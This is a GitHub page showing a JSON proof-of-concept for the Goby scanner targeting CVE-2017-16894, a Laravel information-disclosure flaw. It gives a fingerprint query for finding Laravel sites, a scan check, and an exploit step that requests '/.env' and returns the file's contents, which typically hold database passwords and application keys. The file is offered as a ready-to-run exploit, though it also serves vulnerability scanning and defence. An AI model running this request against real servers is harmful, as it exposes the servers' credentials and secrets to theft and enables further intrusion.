-
Notifications
You must be signed in to change notification settings - Fork 8
/
Laravel_.env_configuration_file_leaks_(CVE-2017-16894).json
78 lines (78 loc) · 2.82 KB
/
Laravel_.env_configuration_file_leaks_(CVE-2017-16894).json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
{
"Name": "Laravel .env configuration file leaks (CVE-2017-16894)",
"Level": "1",
"Tags": [
"Information leakage"
],
"GobyQuery": "app=\"Laravel-Framework\"",
"Description": "Laravel framework is a PHP based web application development framework developed by Taylor otwell software developer. An information disclosure vulnerability exists in laravel framework 5.5.21 and earlier. Env files can be downloaded. Remote attackers can use this vulnerability to obtain sensitive information",
"Product": "Laravel framework <= 5.5.21",
"Homepage": "https://github.com/laravel/framework/tree/5.5",
"Author": "PeiQi",
"Impact": "<p>The. Env file can be downloaded for information disclosure. Remote attackers can use this vulnerability to obtain sensitive information</p>",
"Recommandation": "Restrict access to. Env paths",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": ".env",
"type": "select",
"value": ".env",
"show": ""
}
],
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/.env",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "APP_NAME",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/.env",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-04-04 21:40:23",
"GobyVersion": "1.8.255"
}